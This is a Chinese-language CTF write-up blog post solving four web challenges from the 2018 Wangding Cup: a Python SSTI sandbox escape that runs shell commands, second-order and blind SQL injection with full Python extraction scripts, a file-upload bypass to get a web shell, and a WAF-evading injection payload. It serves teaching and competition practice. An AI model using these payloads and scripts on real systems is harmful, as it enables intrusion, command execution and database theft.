2018网鼎杯第二场Web题解

Web

calc

题目如下,这是一个计算器,可以执行一些简单的算式。题目提示正则有问题,所以正则应该是可以绕过的。

1

我们先看看服务器端使用的是什么语言,简单测试发现是 python web ,就考虑是否存在 SSTI ,绕过正则执行 python 代码。

2

我们先来分析一下正则表达式: ^[0-9.]+\s*[*+-/]\s*[0-9.]+ 。这个正则存在多个问题:

  • 第一个地方: [*+-/]

    实际上短杆 - 在方括号中有特殊的含义,表示范围。 [*+-/] 这个正则实际上包含了以下字符:

    3

  • 第二个地方:

    正则表达式末尾的加号 + 并不严谨,严谨的写法应该在加号后面添加一个 $ 符号,表示输入的字符串以数字结尾,变成这样 ^[0-9.]+\s*[*+-/]\s*[0-9.]+$

使用 payload 如下:(百度python沙箱逃逸,第一个文章中就有payload)

1
1+1,().__class__.__bases__[0].__subclasses__()[40]('/flag').read()

4

查看源码

1
1+1,().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('fun'+'c_glo'+'bal'+'s')['lin'+'eca'+'che'].__dict__['o'+'s'].__dict__['po'+'pen']('cat /usr/local/lib/python2.7/dist-packages/tornado/web.py').read()

5

这里猜测一下后台代码的执行过程:

  • 先用正则对用户的输入进行匹配

  • 如果正则匹配不为空,则将用户的输入直接传递到后台模板文件中;否则不执行

  • 当然这里有对用户的输入进行一些过滤

而我们传入的 1+1,python语句 实际上是一个元组,传到后台模板中类似

unfinished

题目如下

6

发现就一个登陆页面,于是尝试探测是否存在 register.php 注册页面。发现存在,立即注册登陆,并查看。

7

登陆的时候用到的是邮箱和密码,而注册的时候还有一个用户名,而这个用户名却在登陆后显示了,所以我们考虑用户名这里可能存在 二次注入

8

还有一个点就是,我们抓取注册账号的数据包,一直重放数据包会发现返回的状态码都是 200 ,这里就有可能存在 update注入 ,之后发现并没有更新用户信息,所以应该不存在 update注入 。那我们就针对用户名部分,进行二次注入测试。

注册成功,会得到 302 状态码并跳转至 login.php ;如果注册失败,只会返回 200 状态码。所以构造 payload 如下:

1
email=test@666.com&username=0'%2B(select hex(hex(database())))%2B'0&password=test

9

进行两次hex解码后得到数据库名为web:

1
2
>>> "373736353632".decode('hex').decode('hex')
'web'

至于为什么 payload 要进行两次 hex 加密,看下面这张图就明白了。

10

然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:

11

所以这里我们使用 substr 每次取10个字符长度与 ‘0’ 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr(‘test’ from 1 for 10) 这种写法来绕过,具体获取 flag 的payload如下:

1
0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0

本来想附上我的脚本的,但是题目环境关了,脚本有点小bug,看看哪天环境有开在改吧。我的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 存在bug的脚本
import requests
import re,binascii
login_url = "http://aad6cdfbfad34a09b7f947a852b226c4758d9b48816d48e9.game.ichunqiu.com/login.php"
register_url = "http://aad6cdfbfad34a09b7f947a852b226c4758d9b48816d48e9.game.ichunqiu.com/register.php"

users_email = ["test0" + str(i) + "@qq.com" for i in range(0,17)]
def register(user_email,offset):
reg_datas = {
"email" : user_email,
"username" : "0'+(select substr(hex(hex((select * from flag))) from " + str(1+offset*10)+ " for 10))+'0",
"password" : "test"
}

# print(reg_datas['username'])
r = requests.post(url = register_url,data = reg_datas)

def login(user_email):
login_datas = {
"email" : user_email,
"password" : "test"
}
r = requests.post(url = login_url,data = login_datas,allow_redirects=True)
pattern = '<span class=\"user-name\">\s*(\d{1,10})\s*<'
return re.findall(pattern,r.text)[0]


if __name__ == '__main__':
flag_double_hex = ''
for email,offset in zip(users_email,range(0,len(users_email))):
register(email,offset)
test = login(email)
print(test)
flag_double_hex += test
print("[-] " + flag_double_hex,end="\r",flush=True)
print("[+] " + flag_double_hex.decode('hex').decode('hex'))

下面再贴一个 virink 师傅的脚本,运行过可以获取flag,SQL语句和我不一样,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python2
# -*- coding:utf-8 -*-

import requests as req
import random
import sys

URL = 'http://99836af07612423cb83b84745ccd56dcd11ede0687854475.game.ichunqiu.com'


def login(email):
data = {
"email": email,
"password": "123456"
}
res = req.post(URL + '/login.php', data)
if res.status_code == 200 and '1 </span>' in res.content:
return True
return False


def reg(u, e):
data = {
"username": u,
"email": e,
"password": "123456"
}
res = req.post(URL + '/register.php', data, allow_redirects=False)
if res.status_code == 302:
return login(e)
return False
table = 'qwertyuiopasdfghjklzxcvbnm'


def b(pl):
email = ''.join(random.sample(table, 8)) + '@qq.com'
return reg(pl, email)


def getLen(sql):
print("[+] Starting getLen...")
for i in range(1, 60):
sys.stdout.write("[+] Len : -> %d <-\r" % i)
sys.stdout.flush()
if b("1'and((select length((%s)))=%d)and'1" % (sql, i)):
print("[+] Len : -> %d <-" % i)
return i
return 0


def getData(sql="version()"):
_len = getLen(sql)
if not _len:
print("[-] getLen 'Error'")
return False
print("[+] Starting getData...")
table = '}{1234567890.-@_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
res = ''
for pos in range(1, _len + 1):
for ch in table:
sys.stdout.write("[+] Result : -> %s%c <-\r" % (res, ch))
sys.stdout.flush()
pl = "1'and((select substr((%s)from(%d)for(1))='%s'))and'1" % (
sql, pos, ch)
if b(pl):
res += ch
break
print("[+] Result : -> %s <- " % res)
return res

# right(left(x,pos),1)
# mid(x,pos,1)
if __name__ == '__main__':
# pl = "(select substr((version())from(1)for(1))='%s')" % '5'
# pl = "1'and(%s)and'1" % pl
# print(b(pl))
pl = 'version()'
pl = 'select t.c from (select (select 1)c union select * from flag)t limit 1 offset 1'
getData(pl)

wafUpload

题目代码如下:
13

据说是 pwnhub 题目改的,不过没找到,直接来分析代码吧。上图代码 第8-10行 进行了 MIME 类型检测, 第12-20行 对文件后缀进行了检测,而后缀名则是取 $file 数组中最后一个元素。然后在生成文件的时候,文件路径又用 $file 数组第一个元素做文件名,数组最后一个下标对应的值作为后缀,这明显存在不一致可绕过的问题。我们只要控制 $file 数组中参数的顺序即可绕过并 getshell ,请求数据包如下:

14

15

PS:赛后得知题目出自这里: phpjiami 数种解密方法

sqlweb

题目:admin也拿不到flag喔(●’◡’●)

16

打开 BurpSuite Fuzz 发现提示信息,过滤了以下关键字:

17

admin账号 可以用弱密码登陆: admin/admin123

18

发现新提示,说只有 wuyanzu 用户才能拿到 flag 。至此,思路就很清晰了,flag 应该就是 wuyanzu 用户的密码,或者 wuyanzu 用户登陆后就能看到 flag ,所以这题就是考察绕过 WAF 进行 SQL注入

1
waf:/sleep|benchmark|=|like|regexp|and|\|%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i  !!! (trust me,no one can bypass it)

仔细观察上面的 WAF ,过滤了空格,可以用 /**/ 来绕过;过滤了 and ,可以用 && 代替;过滤了 substrascii ,但是还可以用 mid 。而且SQL语句执行和不执行返回的长度是不一样的。所以我们构造 payload 如下:

1
wuyanzu'/**/%26%26/**/mid(passwd/**/from/**/1/**/for/**/1)/**/in/**/('f')/**/limit/**/1%23

编写获取flag的程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

flag = ''
chars = "}{-0123456789abcdefghijklmnopqrstuvwxyz"
url = "http://902f59bfbb134985aeef8fb606e07c77373dedd3ef0e4bca.game.ichunqiu.com//sql.php"
for i in range(1,50):
for char in chars:
datas = {
"uname" : "wuyanzu'/**/&&/**/mid(passwd/**/from/**/" + str(i) +"/**/for/**/1)/**/in/**/('" + char + "')/**/limit/**/1#",
"passwd" : "rte",
"submit" : "login"
}
r = requests.post(url = url, data = datas)
if len(r.text) == 75:
flag += char
print("[-] " + flag,end="\r",flush=True)
if char == '}':
print("[+] " + flag)
exit()

19

文章作者: Mochazz
文章链接: https://mochazz.github.io/2018/08/23/2018网鼎杯第二场Web题解/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog